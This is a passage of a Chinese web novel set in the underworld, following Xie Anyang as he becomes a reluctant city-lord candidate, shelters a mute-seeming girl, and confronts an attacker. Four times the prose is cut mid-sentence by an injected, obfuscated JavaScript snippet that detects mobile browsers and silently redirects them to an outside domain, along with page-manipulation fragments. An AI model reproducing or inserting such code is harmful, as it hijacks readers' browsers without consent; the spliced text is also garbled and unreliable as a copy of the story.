谢安阳还是不甘心,见他是不愿意说了,便退而求其次说:“最后一个问题,老城主叫什么名字?” 刘钦犹疑了一下,“常宇。” 当初那串手串上面就有个“宇”字,看来真是老城主了。 谢安阳总算打消了疑虑,猜想自己是听错了,猫头鹰想说的可能是“常宇”,它把“常”字说得含糊不清,所以听着才像“沈”字的。 “问这个干什么?” “随便问问。” “你不对劲。” “小心!”谢安阳突然拉了刘钦一把,刘钦疑惑地偏开头,就看到了脚下的台阶,然而他走得十分稳当,又不会摔着,这小子提醒有个屁用。 谢安阳又指了指前路,“快走吧,一会明叔要来催了。” 刘钦欲言又止,最终什么也没说,默默地继续在前面带路。 整个地下室就如来时一样,由很多夜光石作为光源,空间说暗不暗,但也不算亮堂,气氛还相当诡异。 这里并不宽敞,一排排的木架延伸到最深的幽暗中,上面摆满了锦帛卷成的一道道卷宗,尾端都系有一块玉珏——有的玉珏散发着荧光,有的已经没了任何光彩。 谢安阳随意扫了一眼,忍不住抱怨:“这里太暗了,你那么喜欢人间的东西,怎么不弄点灯泡什么的?” 刘钦心不在焉地回了一句,“地府没有电源,也用不上。” 谢安阳随口建议:“人间有个东西叫做磁石,特定条件下能生电……” 他话音未落,周遭突然亮堂起来,他眼眸微垂,就看见刘钦左腕上的彼岸花浮着微弱的红光。 光芒无边际地蔓延出去、扩散到夜光石上后,夜光石的光芒顷刻间化作明亮的白色,将整个空间映照得亮如白昼。 刘钦不疾不徐地收回手,问:“你刚才说什么?” 谢安阳喃喃自语:“你们地府一点也不尊重科学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496495|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “少废话,过来帮忙。” “怎么找?” 刘钦拿过最近的一卷卷宗,揪起玉珏说:“上面有字,玉珏无光则代表主人已经魂飞魄散了。” “你想借此排查受害人是哪些?可你怎么确定哪些是最近才丧生的,哪些是很早就……” 刘钦翻个白眼,挑挑拣拣出一卷卷宗递给他,上面的玉珏已经暗淡无光,名字底下却显现出了日期:1987.5.13 谢安阳注意他旁边也有一卷刻着日期:1854.8.19 谢安阳试探着猜测:“这是他们的消亡日期?” 刘钦翻个白眼,吩咐说:“你先找出最近一个月的,无论自杀也好,枉死的也罢,至少得登记清楚是哪些人。” “噢。”谢安阳翻了一堆又一堆,口中还细细碎碎地咕哝:“1998年7月到8月的……有6月的要不要?” “不用。” “你找到这些准备做什么?” “先看这些人有没有什么关联,或是共同特征。” “大家生前都没什么关系,死后难道就有关系了?” 刘钦很无语:“现在毫无头绪,只能先这样试试看,等花田安排好窥镜再想别的办法。” 谢安阳沉默了一会,突然没头没尾地问:“话说你们要是抓到那个人,会怎么做?” 刘钦正在翻找卷宗,漫不经心地回答:“他手上人命太多,南园刑堂无权动私刑,得交给对岸的人处理。” “那地府会怎样惩处他?” “听说过神罚吗,地府的刑罚就是神罚。” 谢安阳倒是听过一星半点,但从刘钦口中说出来,还是感到了些许震撼。 刘钦说:神罚是很多种生不如死的刑罚总称,专门惩戒大奸大恶之徒。神罚惩处恶人往往以诛心为主,也会让其肉身感受世间最极致惨烈的折磨,却往往不会伤及魂魄根本。 就比如“凌迟”,受此刑罚的人会感受到千百倍的“凌迟”之痛,身上却不会出现任何伤痕,更不会被活活痛死。 总之这种一种精神与肉/体上的折磨,人被折磨到一定地步会极度想死,而神罚妙就妙在绝不会让你真的死去。 见谢安阳发起了呆,刘钦冷笑一声,问:“怕了?” 谢安阳鄙夷道:“我又不是恶人,我怕什么?” 刘钦冷哼一声。 终于再翻找了半个小时后,谢安阳找不下去了,便瘫坐到一旁一动不动,“恕我直言,你这是大海捞针。” 说话间,刘钦已经抱了一堆到楼梯口,看到他这副模样,仿佛早在意料之中,便怼了一句,“口上说着要帮忙,让你真帮你又偷懒。” 谢安阳坐在地上,单手捂着脸颊看他,“我是说帮你套花田那些人的话,又没说要帮你捞针。” 刘钦也嫌他碍手碍脚,只得没好气地说:“行了,你不用说了,把这些带上去,剩下我自己找。” 谢安阳求之不得,立马弹跳起来,将手里一堆无用的卷宗扔回木架,乐颠乐颠地抱着楼梯口的走了上去。 刘钦没料到他竟然说走就走,又咆哮了一句,“乖乖在上面待着,敢弄丢一份档案,我把你剁了喂门鸮!” 谢安阳也不甘示弱:“我就没见过你这样求人办事的。” “赶紧滚。” “……” 12. 花田(七) “城主,您怎么来了?”明庭进来的时候没发现刘钦和谢安阳,就到处找了一通,谁曾想转过头竟看到了城主。 城主名叫郑康,也是个中年男人的模样,一身粗布衣服,并不是过于庄严的形象,他随手抄过一份卷宗在手里看,漫不经心地说:“我来调一个人的卷宗。” 明庭恭敬地问:“谁的?” “谢安阳。” 明庭有些疑惑,但还是转头去找了,“怎么突然要他的卷宗?” “你觉得……”郑康顿了顿,没抬头,翻看得认真,“让他来做枉死城城主的候选人怎么样?” “啊?”明庭倒是没想到,感到很是惊讶,小心谨慎地说:“安阳性子急躁了些,好在生性良善,我觉得可以,但他是枉死城的人,刚来这里三年,虽说时常会来忘川府玩闹,但对忘川府的事务了解并不多,是否再问问其他掌事的想法?” 郑康合上手上的卷宗,眉目从容,看不出来情绪,“不用,就这么定了,知会地府一声就行了。” 明庭虽疑惑,却也不好多话,将找到的卷宗递给他,又好奇地问:“城主想用多久,什么时候能够归还?” 郑康目光凝了起来,“他是城主候选人,卷宗往后就不放在这里了,我会替他保管。” “古往今来,没有这个先例……”明庭没接着说下去,因为说到底,郑康作为城主,想怎么样就怎么样。他虽然看不懂,但也不好说什么。 城主突然想起了什么,又嘱咐说:“你转告谢安阳一声,从明天起,让他每天辰时一刻来你这里,你来教他地府的法则,顺便带他熟悉忘川府的要务。” “辰时一刻会不会太早了?” 这时,杨洵牵着孩子走了进来,看到城主时愣了愣,遂恭敬地一作揖,“城主。” 郑康将卷宗收好,伸手摸了摸小崽的头,随口问:“哪家的孩子?” “安阳……”杨洵还没说完,小崽就故意躲开了郑康的手,还满眼嫌弃地往杨洵身后躲,杨洵只好扒拉了她一下,把她往前推。 城主精明的双眼眯了起来,“安阳的孩子?” 小崽冷着脸不说话。 杨洵尴尬地笑笑,谢安阳二十出头的年纪,怎么可能有这么半大的孩子,城主真的会说笑。 杨洵连忙解释:“他从花田带来的,小姑娘脾气有点古怪,还望城主见谅。” 城主眉头一皱,看向明庭。 明庭似乎懂了他的意思,连忙解释说:“安阳性子顽劣,不太懂规矩,回头我跟他说一声,忘川府不能随便带外人进来。” 郑康却平声静气地说:“罢了,总归是个可怜的孩子,记得送还回去,下不为例。” 明庭连连称是。 与此同时,谢安阳身后突然响起了刘钦的声音:“你怎么还没上去?” 谢安阳手抖了一下,差点没抱稳手中的卷宗。他看着面前的荧光门,深吸了一口气,强行让自己冷静下来,声音听起来也无异样,“好像出不去。” 刘钦皱了皱眉:“那你不能下来找我,非得在这杵着?” 谢安阳却毫无预兆地将所有卷宗扔给刘钦,大步流星走了出去,还撂下一句,“钦儿哥,你慢慢找,我去看看小姑娘。” 刘钦:“?”你不是出不去吗? 堂内的几人看到谢安阳都是一愣,唯有城主郑康面色从容地笑笑。 明庭看到身后跟着的刘钦,惊讶地问:“你们怎么到下面去了?” 看谢安阳眼里只有小崽子,刘钦忙说:“我要找花田那些人的档案。” 小崽依旧待在原地,她一举一动放得很轻,仿佛常年不能动的人突然能动,反而不知道四肢该往哪放了。 她满眼迷茫地环顾起四周,无意中扫见谢安阳的时候,下意识停住了目光,平静地望着他。 谢安阳愣了会儿神,小崽也是望着他一声不吭。 谢安阳脑海里一片空白,他清了清嗓子,故作正经地开口:“你好,我是枉死城城主,欢迎你的到来。” 小崽面无表情地翻个白眼。 “……” 谢安阳还没来得及说什么,有人一巴掌拍到了他后脑勺,紧接着就是城主一声呵斥,“胡说八道什么!” 谢安阳顿时有些炸毛,“糟老头你干什么!” 郑康从鼻间哼出一声,呵道:“翅膀硬了,成日里就想着谋夺篡位?” 谢安阳故意接了话:“不是您钦定我为城主候选人的吗?守好身为太子的本分,怎么能叫谋夺篡位?” 刘钦:“?” 其实这事儿不是方才知道的,很早以前郑康跟他提过一嘴,只是他没当真,后来就不了了之了,再后来一撂爪子,哪还记得这么多? 方才听城主这么一提,他就猜测这老东西是真动了念头。可他根本就不想当什么候选人,他只想回人间轮回。他故意这么说,就是想逼迫这老头一气之下废太子,让老头死了那条心。 谁曾想郑康早就习以为常,压根懒得跟他呛,“那行,明天一早你就来这里,听你明叔给你讲学。” 谢安阳:你有病吧?? 谢安阳心里骂归骂,人是不敢口头顶撞郑康的,毕竟自己左腕的印记一旦被发现,没准真会被送去对岸。 谢安阳极其敷衍地应和:“知道了。” 郑康其实也知道他敷衍,并没有说什么,相当宽容地没骂他,而是看向小崽子,问谢安阳:“为什么带个小孩子来这里?” 谢安阳慵懒地回答:“看她可怜呗,这小孩再继续待下去,说不定也会被沉忘川。” 刘钦插话问:“你怎么知道?” 谢安阳翻个白眼,“被我给遇到过的人都画过像,自然清楚哪些人不在了——沉入忘川的人多是老弱病残。” 刘钦有点来气,“那你一早不说?” 谢安阳理直气壮:“你也没问。” 刘钦瞥了一眼小孩子,又摇了摇头,“不对,你怎么只带她出来,她有什么特殊的?” 谢安阳手指蹭了蹭鼻尖,干笑一声,“我闲的。” 郑康声音温沉沉的:“你猜我信不信?” 每回郑康这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496496|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样说话,必定是认真的,谢安阳当即正色了,一本正经地说:“这小姑娘是新来的,我之前没在花田见过她,就直觉这类哑巴孩子最好下手。” 小崽子忽然抬起头,格外认真地说:“我不是哑巴。” 谢安阳不理她,接着说:“花田的人通常白天沉睡,夜里就会苏醒,他们中大部分都疯疯癫癫的,唯有少部分能维持神智清醒。平时你不动那些疯子还好,他就只是疯子,然而一旦惊动他们,他们势必会受到刺激闹出大动静,何况附近不时有地府人员巡守,要想动手还不被发现,就得找老弱病残。” 刘钦陷入了沉思,下意识问了句,“所以?” 谢安阳眼睫微微抬了抬,“他要是还想动手,就让他找花田的神智丧失的老弱病残吧,反正这些人也无□□回,某种意义上讲算是解脱,而这种新来的孩子能救则救。” 郑康也是忍不住跟旁边的明庭嘱咐:“你好生教他,再说出这种大逆不道的话,就饿他个三天三夜。” 谢安阳:“?” 都说枉死城内是“小人间”,里面的运行规律和法则和人间差不多。 地府的工作人员被种下彼岸花,会永远生活在地府,不用再进食,而枉死城的人不一样,他们依旧像生前一样感到饥寒苦痛。 唯一与人间不同的是,枉死城的食物可以由城民自己创造,也可以靠东园来管民生,说白了就是个养老院。 而谢安阳跟一群老头老太太住在一起,更是养老院中的养老院。 刘钦还不忘幸灾乐祸:“该。” 不过这群人要是知道他也不用进食,真不知道会怎么想。谢安阳不能表现得太明显,就故作气愤地骂骂咧咧:“小气鬼喝凉水。” 郑康倒是习惯了他的口出狂言,而刘钦就有点想不开,“话说你为什么要给花田的人画像?” 谢安阳漫不经心地说:“每天跟那群老头老太太打麻将,是个人都烦了,棋下不过还耍赖,一群礼义廉!” 刘钦半信半疑:“当真?” 谢安阳没好气地说:“爱信不信。” 郑康则收好了手中的卷宗,继续问:“花田来的人进不去枉死城,你把她带到忘川府,打算怎么办?” 谢安阳想都没想,就说:“给我几天时间,我会想到办法的,到时候再送她回去。” 郑康并没有表态。 刘钦似乎意识到了什么,插了句话:“城主,人是我带进忘川府的,安阳可能会有办法,我想着这孩子特殊,就暂时留下来了,我会自行去领罚。” 谢安阳懵了一下,正要说“怎么就是带进来的,怎么就领罚了”,还没说出口,就看见刘钦瞪了他一眼,示意他别多话。 谢安阳倒是会见好就收,说白了,他与忘川府这些人只是表面相熟,真遇到什么大事,这些人格外无情。 郑康这回应了一声,还说:“他往后就是枉死城城主候选人了,你得多照应他,有什么不到位的地方,记得代我规训他的言行,否则整个忘川府怕是会不服。” 刘钦小心翼翼地作揖:“好。” 13. 花田(八) 郑康突然走向了小崽子,随后温声问:“你叫什么名字?” 小崽眨了下眼,平静地望着他,却没有答话。 郑康头也没回,冲谢安阳招手喊道:“你过来。” 这群人真是离谱,一个个使唤他都使唤成习惯了,召之即来挥之即去。 谢安阳极其不情愿,但还是磨磨蹭蹭地走过去。 谢安阳很无语,来到小崽面前,试探地问:“你还记得什么?” 其实他没指望小崽子回答什么。 小崽摇摇头就不吭声了。 “名字都想不起来?” 小崽继续摇头。 郑康突然在一旁问:“喝过忘川水没有?” 女孩点点头。 谢安阳瞅准时机就阴阳:“你们这忘川水是勾兑的吧?” 郑康恨铁不成钢,“我怎么会选你当候选人!?” “您选别人吧,我想去人间玩。”谢安阳接话很快。 “人间有什么好的?” 刘钦立马冒出个头来,“人间可有意思了。” “你闭嘴吧。”郑康日常翻白眼,这俩崽子没一个省心的。 谢安阳如是说:“像书中说的那样,鲜衣怒马、快意恩仇,多好,可是喝过忘川水,就什么都想不起来了。” “忘川水的初衷不是为了淘汰谁,”郑康拿过刚才看的卷宗扔给他,翻到某一页,神色严肃地说:“这个何志勇失足掉进了混凝土拌合池,后被人活生生封进了混凝土中,原本前半生就活得不如意,临死遭受这种生不如死的折磨,要是来到枉死城还忘不掉,那得成为半生阴影。” 郑康说到阴影的时候,谢安阳的小指突然无意识地蜷缩了一下,他自己是没注意的,还有意无意地提高音量来掩饰那份慌乱:“你们说的不做数。” 刘钦将拿上来的卷宗堆到桌上,也附和了一句,“不听老人言,吃亏在眼前哦。” 谢安阳跟他互相大眼瞪大眼。 郑康叹息一声,“少年无知无畏,我也热血过,懒得劝你,自己慢慢想去。” 谢安阳瞥了女孩一眼,问:“那她进不了枉死城怎么办?” 郑康说:“你救得了她一时,她最后还是得回到花田,什么时候忘干净再去轮回,是死是活都得看造化。” “……” 郑康又对他明庭说:“等他闹够了把他扔回枉死城,老夫最近忙,让他安分点。” 刘钦口头应着,“好。” 谢安阳:“……” 刘钦也扒开他,到一旁整理卷宗,“少爷,滚回去吧,别在这儿挡道。” 谢安阳:“我从小就自卑,你信不信我去跳忘川?” 刘钦掖好被子,感叹一句,“出门左转,顺便把这小丫头带走。” 太过分了。 谢安阳见郑康转身要走开,连忙追问:“城主,您真不管她了啊?” 城主头懒得回他,径直离开了。 刘钦就好心说:“地府不养闲人,枉死城才养,她自己进不来,能怪谁?” “她很可怜哎。” “跟你又没关系,你凑什么热闹?” “……” 明庭则把他拉到一边,依旧是和蔼的语气,似乎还有些许叹息和不忍,他试探地问:“你刚才是不是偷听我和城主说话了?” 谢安阳没打算撒谎圆过去:“走到门口的时候听了几句,我手上全是卷宗,又没办法堵住耳朵,何况你们说话也没有遮掩,这能怨我?” 明庭“哦”了一声,问:“卷宗呢?” 谢安阳:“……” 刘钦翻个白眼:“在这里……” “……” 明庭顿时明了,面色看不出波澜起伏,仿佛是意料之中,又说:“废话少说,你是怎么想的?” 谢安阳认真地看着他:“我不愿意。” 明庭想了想,只是淡声问:“古往今来,候选人都是从地府人员中挑,我从未听说过有在枉死城中挑人的先例。既然选了你,想必城主有他自己的考量。” 谢安阳环抱着胳膊说:“巧了,我这人啊,一身反骨,最讨厌别人给我安排这啊那的。” “等你当上城主,会种下彼岸花,有机会长生,这是古往今来多少人的追求,别人还想都不敢想,长生难道不好吗?” 谢安阳不答反问道:“你说人活着的意义是什么?” 明庭有些疑惑:“?” 谢安阳指尖蹭了蹭鼻尖,一本正经地温声说:“我觉得人活着的意义就是七情六俗,不能说我被欲望支配,应该是欲望让人活着,所以我觉得人活着的意义大概就是——吃——喝——玩——乐!” “……” 明庭觉得他怪没志向的,但又无法反驳。 谢安阳又说:“我发现地府这些工作人员好像都没什么欲望,死心塌地地为地府打工,日复一日重复同一样工作,想做点有趣的事得受忘川府管辖,关键是还得辟谷。就好比贪财好色乃人之本性,连最基本的饱腹之欲都没了,还活个屁!人活着不就是为了享乐吗,没有欲望哪里还能体验享乐?” 刘钦插了一句,“所以?” 谢安阳大言不惭:“不能享乐,活那么长干嘛?平添苦痛,还是找虐?” 明庭觉得他理挺歪的,忍不住说:“人活在世还是要有点人生意义的吧,你怎么能这么想?” “屁!痛苦地长生,不如短暂享乐!” 明庭看向刘钦,想让他附和两句劝劝谢安阳不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496497|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这样的思想,哪知刘钦正若有所思地待在原地,竟然一句没吱声。 明庭咳嗽一声,提醒他:“刘钦,你怎么了?” 刘钦心不在焉地说:“想起以前有个人也是这样的心态,觉得熟悉。” 谢安阳立马走过去跟明庭并肩在一起,还用肩膀撞了一下明庭,煞有其事地说:“刘钦有故事。” 明庭推开他,“走开,没大没小。” 刘钦好一会才愣回神,眸色有些淡淡的,遂白他一眼,没好气地说:“从今天起,我有先斩后奏之权,你要是再作死,我有权利把你捶死。” 谢安阳:“……” 谢安阳默默把脸转向明庭,格外委屈地说:“明叔,你看他,动不动就想捶死我。” 明庭也很无奈:“四园掌事以南园为大。无论如何,城主的话是不会变动了,你就是不想当候选人,城主也已经钦定你了。” 谢安阳就有些纳闷:“你说我有什么特殊的,他怎么就看上我了?难道是觉得本少爷太帅了,很有候选人的气质?” 刘钦一声冷笑:“不要脸。” 明庭嘴角也是一抽:“明天一早,辰时一刻来我这里。按往年候选人的培养惯例,你得分别到四个园里打杂一段时间,直到熟悉忘川府上下所有事务为止。” 谢安阳没回话,而是扒着手指数辰时一刻是几点,这帮人人话都不会说,非得说辰时一刻,显着他们了。 最后算出来得个结论:辰时一刻是七点半。 谢安阳心态这就炸了,从他家到忘川府就需要至少半小时路程,更别说忘川府这么大,来到西园也需要很长时间。 谢安阳说:“鸡这时候还没打鸣呢,我不来。” 明庭好声好气地说:“鸡一般卯时打鸣,还真没你说的这么晚。” 刘钦:“明叔,不用勉强他,以后他敢踏入忘川府一步,我帮你把他扔进忘川一了百了。” “……” 看刘钦要走,谢安阳就没忍住问:“你不管这小丫头了吗?” 刘钦:“你有能耐你倒是把她弄进枉死城啊,在这废话,怎么着,大老爷们善良没地儿使了?” 谢安阳只好说:“行,我想办法,在此之前你至少得收留她几天吧,实在不行,等找到凶手再送她去花田也不迟。” 刘钦日常冷笑。 谢安阳立马拍了拍女孩肩膀,飞快地跟了一句,“还不快谢谢你刘钦哥哥的收留!” “谢谢刘钦哥……”小崽愣了一下,抬眼看谢安阳。 谢安阳一皱眉,她连忙别开目光,低低地说:“谢谢。” 刘钦恨铁不成钢,咬牙切齿地说:“最多给你三天,想不到办法把你一起扔花田里!!” “咦……” 14. 花田(九) 估摸着是知道这群人都把小崽抛弃了,谢安阳感到心虚,路过小崽时,没敢看她,索性低垂着头走过去。 小崽欲言又止,轻唤了一声,“哥……” 谢安阳犹豫了一会,只好对她说:“你在这儿好好待着,让刘钦哥哥带你,我明天再来找你。” 小崽伸手想抓他,他其实看到了,担心自己心软,又拉着她到明庭面前去,偏开目光说:“明叔,我把她交给你们了。” 明庭脾气倒是日常有耐心:“你尽快啊。” “知道了。” 走出一段路后,突然有些于心不忍,又忍不住回头看了一眼,却正巧跟小崽一对视。 小崽面无表情地望着他,他则吓得落荒而逃。 原本是想去找吴桉的,最终还是拖着疲惫的身躯回到了家,刚来到他家院子里,又看见隔壁老头老太太们在打麻将。 谢安阳瞟了一眼,跟众人打了声招呼,离得最近的老头一边摸牌,抽空瞅了他一眼,“安阳啊,又去忘川啊?” 问完又沉迷麻将去了,谢安阳也不管他还能不能听进去,礼貌地“昂”了一声。 那边也有个老太太和蔼地招呼:“小阳,来打麻将哟。” “你们打。”谢安阳疲惫地敷衍着,心里还在想小崽。 很奇怪,明明是一面之缘,和他没什么关系,可就是忍不住去想。 谢安阳夜里是被雨声惊醒的,外面雷声轰鸣、大雨滂沱,风吹打着窗棂,若非这里本就是阴间,他得联想一堆不好的。 脑海中又浮现出小崽可怜兮兮的模样。 ——他谢安阳何许人也,良善没地儿使,他突然觉得忘川府可能也下了雨。要是刘钦不管小崽子,她会不会被淋雨?就算没有被淋,说不定夜里也会被冻着。 于是他找了把伞顶着雨出门了,直到踏出枉死城结界,被外面干燥的环境一刺激,才蓦地想起地府是不会下雨的,只有枉死城这个小人间才会下。 他觉得自己怪蠢的,便撑着伞漫无目的地往前走,却没想到会看到小崽。 小崽并没有待在忘川府里,而是坐在离忘川府最近的花丛里发呆,脚边还有只脏兮兮的流浪猫趴着舔她的手,这时,小崽似有感应,缓缓抬起了头。 二人尴尬地一对视。 她怎么跑到花丛来了??刘钦那个狗东西果然不靠谱。 花丛中萦绕着泛红的微光,交错处却突然晃过了一个黑影,正一步步靠近小崽。 然而小崽的面容格外平静,眨了一下眼睛,一动不动地看着来人靠近。 谢安阳本想跟过去,好奇心作祟,就停了下来。 谁料到那黑影竟一脚踹在了小崽腹部,她被踹翻在地后,又艰难地爬起来,面容平静得不像个小孩子。 黑影弯下腰去扯了什么东西,小崽终于焦急起来,“不要抢,不要抢!” 谢安阳看够了热闹,连忙过去呵斥了一声,“喂,你干什么!” 黑影缓缓转过身来,脸上罩了块黑布,看不清长相,就是个子挺高,反正比谢安阳还高,他手中还攥着从小崽那里抢来的小布包。 本来他不想多管闲事的,一想到小崽的可怜模样,就忍不住逞了个强。关键是逞就逞吧,他突然扫见花丛之中有只眼球,眼珠子正机械般地转动着——是窥镜。 忘川府哪哪都有窥镜,涵盖了所有的角落,居然连花田也有。 动手是不敢动了,他及时收住了拳头,却被黑影撞了一胳膊,对方力道很大,他的腹部疼得钻心,踉踉跄跄地往旁边歪了歪,几乎要栽了。 黑影还想继续动手,小崽却突然站起来挡在了他面前,他这回绷不住了,一手将小孩拎到一旁,扯着嗓子大喊:“杨洵,我要死了,救命——” 这个时间,杨洵有可能在附近巡逻,当然,也可能是和别人轮值,总之能喊来一个算一个。 “……”没人应,就很尴尬。 好在这招对黑影很奏效,黑影似有所忌惮地紧握着拳,犹疑几秒钟后,不甘不愿地转身没入了花丛中。 而小崽依旧睁着黑溜溜的大眼睛盯着他看。 谢安阳也终于发现自己还举着伞像个智障,连忙给扔了,又笑着打招呼:“睡不着,出来散步,你也是吗?” 小崽就冷着脸,没吱声。 “刘钦那王八蛋真的是,居然把你扔在这里。” 小崽终于吭声了,“不是,是我偷溜出来的。” “出来干嘛,又冷。”谢安阳问。 “因为我找不到你了。”一副天真无邪的表情。 “……” 谢安阳干咳一声,问:“方才他跟你抢什么呢?” 小崽眨眨眼,说:“刘钦哥哥给的巧克力。” “巧克力??” 一块破巧克力还跟你抢?? 谢安阳很无语:“那你给就给他了,刘钦那儿多的是,跟他抢什么?” 小崽撇撇嘴,没接话。 谢安阳觉得尴尬,又想走,谁知道腿就被抱住了,他听见小孩糯糯地叫了一声,“哥……” 谢安阳:“小朋友你不要乱叫,我都没见过你。” 小孩似乎有些失落,又低垂着头不吭声了。 谢安阳目极黑影逃走方向,他沉思了一会,才对她说:“你在这里等我回来,不要乱跑。” 他说完又想走,小崽却软软问:“你要去哪?” 谢安阳随口说:“找个人。” 小崽眼睛睁得大大的:“有坏人,不要去……” 只要离开忘川府,就算是离开了窥镜的视野,谁是坏人还不一定呢。但谢安阳还是温声说:“进去吧,不要离开窥镜视野,我去去就来。” …… 自从被种了彼岸花后,他对声气格外敏感,没多久,果然在花田中间的青石道追上了黑影。 黑衣人似乎知道他追过来了,还特意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496498|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在河畔等了他一会,毕竟这里就没有人敢过来围观了。 谢安阳眨了下眼:“多谢你了,还特意等我一道。” 黑衣人冷哼一声。 谢安阳看他想动手,连忙伸手做了个阻拦的手势,“打住!说好了,不许动静太大。” 黑衣人没跟他废话,一拳砸了过来,谁曾想却被谢安阳精准地截住了,他仅用一只手,稍微一用力就反手把黑衣人手腕拧了。 他面上还带着和善的笑容,“打爽了吧,轮到我了。” 说完,抬脚一踹,黑衣人根本反应不及,身子如断线风筝飞了出去,还就地滚了一道。 黑衣人捂住肚子艰难地爬起来,难以置信地问:“你怎么……” 谢安阳困倦地打了个哈欠,“你说你,非要动我的人。” 黑衣人似乎不太甘心,又从怀里掏出一截断刃,直起身后握紧残刃就往谢安阳身上扎,他却只是侧了个身,转瞬之间,就绕到了黑衣人背后。 谢安阳这回没留情,抬脚就踹。 黑衣人总算慌了,爬起来就想跑。然而附近的水域突然沸腾起来,飞快凝成十几道尖刺,下一瞬间,直逼他面门。 当然,水刺没扎下去,黑衣人却吓得几乎站不住脚了。 谢安阳最终及时收了手——有问心契在,他可不能随便杀人。 黑衣人颤巍巍地问:“你想怎样?” 谢安阳看起来有些苦恼,“唉,不小心就暴露了,干脆我杀人灭口怎么样?” 黑衣人死咬着唇不说话。 谢安阳却笑得一脸灿烂,“骗你的,快滚吧。” 黑衣人再不甘心,也清楚不是他的对手,负气一步步往后退去,却又听谢安阳道了一句,“对了,再来一次,我定会将你沉入忘川。” 整个地府,害怕忘川水的只有花田和枉死城的人。看他笑吟吟的模样,似乎是笃定了黑衣人并非地府人员。 谢安阳拍了拍手,这就打算回去了,转身却与一中年男人对了视线。 二人面面相觑片刻,洪磊二话没说调头就跑。 谢安阳眉头一紧,默默地追了上去。 洪磊没命地往前跑,气喘吁吁了一路,后来没发现有人追上来,才总算停下来喘口气。 然而他气息还没喘匀,肩膀忽然就被人按住了,他转脸便对上谢安阳笑吟吟的面容。 谢安阳力气极大,他根本动弹不得,还听到对方轻声问:“洪哥,怎么大半夜不睡觉,在这干嘛?” 洪磊干笑两声,目光则环顾四周有没有人,可惜那些人神智并不清醒,依旧四处游荡着,压根没在意这边的异常。 这里发疯的人多了去了,不是特别的热闹,都没人愿意凑。 正琢磨着怎么逃走,谢安阳却再次环住了他肩膀,生生将他掰过来往前走,还笑说:“走,洪哥,请你喝酒去。” 口上说着请喝酒,人则架着他往忘川河畔走去。 15. 花田(十) 洪磊慌里慌张地说:“谢兄弟,这么晚了,你怎么没回枉死城啊?” 谢安阳笑说:“睡不着,这不找你喝酒来了?” “你自己喝吧,我要睡了。”洪磊语气相当冷硬,底气却不足。 谢安阳没跟他计较,手下还用了点力。 洪磊没想到他力道会这么大,生生被按弯了腰,肩膀一阵酸疼麻木,他难以招架地说:“谢兄弟,我什么也没看见,你放过我吧,白天是我对不住你,实在不行你揍我一……” “对不起啊洪哥,白天给你添麻烦了,”谢安阳打断他的话音,还温声提醒:“走快一些,我温好了酒,过会儿该凉了。” “老子去你妈的!”洪磊干脆破罐子破摔,孤注一掷挣扎了几下,哪知对方力气大得离谱,他拼尽全力也没能挣脱。 “救……”他张口就想大喊一声,以引周围人的注意,谢安阳的力道却突然无端加深,他难以忍受地惨叫一声,竟听到了骨头的“咔嚓”声响。 谢安阳一副若无其事的模样,依旧禁锢着他的肩膀,还森森地道了一句:“安静点,要是吵到别人,肩膀废了没关系,你这身骨肉碾成烂泥就可悲了。” 洪磊吓得不敢吱声了,“你想怎么样?” 谢安阳拖着他往忘川河畔而去。 洪磊格外抗拒,奈何两腿发软得厉害,他强忍着肩膀的痛楚,讨好地劝说:“谢兄弟,河畔附近有窥镜,我要是死了,忘川府的人肯定会查到你,我听说在地府作恶会受到神罚,你没必要‘伤敌一千自损百八’的对吧?” 这话倒是提醒了谢安阳,他咂摸了一下话语,颇有些苦恼地说:“对噢,有窥镜,多谢提醒。” “啊?”洪磊惊慌失措地哀求出声,一句话音量都抖了三抖:“谢兄弟,求你了,我什么也没看见,你放过我,我再也不会欺负你的人了啊——” 他的话音断了,因为下一瞬,谢安阳放在他肩膀的手突然无端摸索到了他后脑勺的位置。 